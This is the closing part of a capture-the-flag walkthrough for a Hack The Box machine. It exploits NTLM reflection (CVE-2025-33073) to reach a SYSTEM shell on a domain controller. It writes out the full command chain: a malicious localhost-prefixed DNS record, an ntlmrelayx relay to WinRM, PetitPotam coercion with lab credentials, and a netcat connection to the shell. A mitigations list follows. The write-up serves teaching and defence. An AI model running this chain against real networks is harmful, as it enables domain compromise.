NTLM_REF... 127.0.0.1 445 DC01 VULNERABLE (can relay SMB to other protocols except SMB on 127.0.0.1)
NTLM Reflection Exploitation
Further reading: Wilfried Bécard & Guillaume André — NTLM reflection is dead, long live NTLM reflection! in-depth analysis of CVE-2025-33073.
To exploit NTLM reflection, we’ll create a malicious DNS entry, start a relay listener, coerce authentication, and finally gain a SYSTEM shell through WinRM.
Step 1 — Install the Latest Impacket
1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ pipx install git+https://github.com/fortra/impacket.git
installed package impacket 0.13.0.dev0+20251002.113829.eaf2e556, installed using Python 3.13.7
These apps are now globally available
- wmiquery.py
done! ✨ 🌟 ✨
We install the latest Impacket version, because earlier builds did not support WinRM relay. The development version ensures ntlmrelayx.py can successfully relay NTLM authentication to WinRM, which is critical for this attack chain.
Step 2 — Add a Malicious DNS Record
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ proxychains4 -q python3 krbrelayx/dnstool.py -u 'SIGNED.HTB\mssqlsvc' -p 'purPLE9795!@' DC01.SIGNED.HTB -a 'add' -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' -d '10.10.14.166' -dns-ip 127.0.0.1 --tcp
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding extra record
[+] LDAP operation completed successfully
We use dnstool.py to add a malicious DNS A record named localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb, pointing to our IP 10.10.14.166.
Windows normally blocks NTLM reflection (relaying captured authentication back to the same host) using a loopback check: if the target hostname resolves to a local address (127.0.0.1, ::1, or the host’s own IP), the relay is blocked. CVE-2025-33073 bypasses this by registering a DNS record whose name starts with localhost but points to an external IP. The target resolves the hostname to the attacker’s IP, but the loopback check sees the “localhost” prefix in the name and incorrectly permits the relay. When PetitPotam coerces DC01$ to authenticate to this hostname, the NTLM negotiation arrives at our ntlmrelayx listener instead of looping back locally.
Step 3 — Verify the DNS Record
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ proxychains4 -q dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb @DC01.SIGNED.HTB +tcp
; <<>> DiG 9.20.11-4+b1-Debian <<>> localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb @DC01.SIGNED.HTB +tcp
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50272
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb. IN A
;; ANSWER SECTION:
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.signed.htb. 180 IN A 10.129.125.195
;; Query time: 200 msec
;; SERVER: 10.129.125.195#53(DC01.SIGNED.HTB) (TCP)
;; WHEN: Wed Oct 15 19:26:21 PKT 2025
;; MSG SIZE rcvd: 109
We verify that the DNS record has been successfully added by resolving it directly against the domain controller (DC01). A correct A record response confirms that coercion will reach our attack host.
Step 4 — Start NTLMRelayX Listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ proxychains4 -q ntlmrelayx.py -t winrms://DC01.SIGNED.HTB -smb2support
Impacket v0.13.0.dev0+20251002.113829.eaf2e556 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client WINRMS loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Setting up WinRM (HTTP) Server on port 5985
[*] Setting up WinRMS (HTTPS) Server on port 5986
[*] Setting up RPC Server on port 135
[*] Multirelay disabled
[*] Servers started, waiting for connections
We start NTLMRelayX with the WinRM target. ntlmrelayx captures the incoming NTLM negotiation from the coerced host and replays it to the target WinRM service. Since the coerced authentication comes from DC01$ (the computer account), and computer accounts have local Administrator privileges on their own host, the relayed authentication grants a SYSTEM shell on the DC. The -smb2support flag ensures compatibility with modern SMB dialect negotiation.
Step 5 — Confirm Reflection Vulnerability
1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[/tmp/NetExec/nxc]
└─$ netexec smb 240.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -d signed.htb -M coerce_plus
SMB 240.0.0.1 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 240.0.0.1 445 DC01 [+] signed.htb\mssqlsvc:purPLE9795!@
COERCE_PLUS 240.0.0.1 445 DC01 VULNERABLE, DFSCoerce
COERCE_PLUS 240.0.0.1 445 DC01 VULNERABLE, PetitPotam
COERCE_PLUS 240.0.0.1 445 DC01 VULNERABLE, PrinterBug
COERCE_PLUS 240.0.0.1 445 DC01 VULNERABLE, PrinterBug
COERCE_PLUS 240.0.0.1 445 DC01 VULNERABLE, MSEven
This confirms that NTLM reflection is indeed possible and that the server is vulnerable to multiple coercion methods (PetitPotam, DFSCoerce, PrinterBug, etc.). That means our relay will work successfully.
Step 6 — Coerce Authentication from the Target
1
2
3
4
5
6
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ proxychains4 -q nxc smb 127.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA METHOD=PetitPotam
SMB 127.0.0.1 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:SIGNED.HTB) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 127.0.0.1 445 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
COERCE_PLUS 127.0.0.1 445 DC01 VULNERABLE, PetitPotam
COERCE_PLUS 127.0.0.1 445 DC01 Exploit Success, efsrpc\EfsRpcAddUsersToFile
We use NetExec’s coerce_plus module to trigger PetitPotam against the DC. This does not send hashes — it forces the Domain Controller to perform an outbound authentication to our malicious DNS name. That outbound authentication is captured by ntlmrelayx and relayed to the configured target (WinRM), which results in an opened WinRM session on the relay host.
Step 7 — Successful Relay and SYSTEM Shell
Once coercion triggers, NTLMRelayX will show:
1
2
3
4
5
6
7
8
9
10
11
[*] (SMB): Received connection from 10.129.125.195, attacking target winrms://DC01.SIGNED.HTB
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.125.195 against winrms://DC01.SIGNED.HTB SUCCEED [1]
[*] winrms:///@dc01.signed.htb [1] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11000
[*] (SMB): Received connection from 10.129.125.195, attacking target winrms://DC01.SIGNED.HTB
[!] The client requested signing, relaying to WinRMS might not work!
[*] HTTP server returned error code 500, this is expected, treating as a successful login
[*] (SMB): Authenticating connection from /@10.129.125.195 against winrms://DC01.SIGNED.HTB SUCCEED [2]
[*] winrms:///@dc01.signed.htb [2] -> Started interactive WinRMS shell via TCP on 127.0.0.1:11001
This confirms that authentication was relayed successfully and NTLMRelayX has spawned a SYSTEM shell accessible locally over TCP.
Step 8 — Connect to the SYSTEM Shell
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/Signed]
└─$ nc 127.0.0.1 11000
# whoami
nt authority\system
# cd C:\Users\Administrator\Desktop\
# pwd
# type C:\Users\Administrator\Desktop\root.txt
**********07ed833d3e58b41523e605
#
Connecting to the local port via netcat gives us a SYSTEM-level shell on the Domain Controller.
Mitigations & Security Recommendations
- Harden Microsoft SQL Server Configuration:
- Restrict or disable dangerous stored procedures (such as
xp_cmdshell,xp_dirtree, andxp_fileexist) that can be used to execute OS commands or force outbound SMB authentication. - Configure the SQL Server service account using a Group Managed Service Account (gMSA). gMSAs have automatically managed, complex passwords that cannot be easily cracked offline.
- Restrict or disable dangerous stored procedures (such as
- Defend Against Kerberos Silver Ticket Attacks:
- Upgrade Active Directory domain configurations to disable RC4-HMAC encryption for Kerberos and enforce AES256 encryption.
- Install all Windows security updates to enforce PAC signature validation (which prevents forging arbitrary group SIDs like
1105in tickets).
- Block NTLM Reflection and Local Loopback Bypasses (CVE-2025-33073):
- Keep all Domain Controllers and Windows Servers patched to address local NTLM reflection and loopback authentication bypasses.
- Limit Active Directory DNS permissions. Standard users or service accounts (like
mssqlsvc) should not have permissions to dynamically register arbitrary DNS records (especially those mimicking localhost prefixes).
- Prevent Authentication Coercion:
- Disable unused network protocols and services that are vulnerable to coercion, such as MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), and WebDAV.
- Enforce Extended Protection for Authentication (EPA) for Windows Remote Management (WinRM) and Web Services on Windows hosts to protect against NTLM relaying.
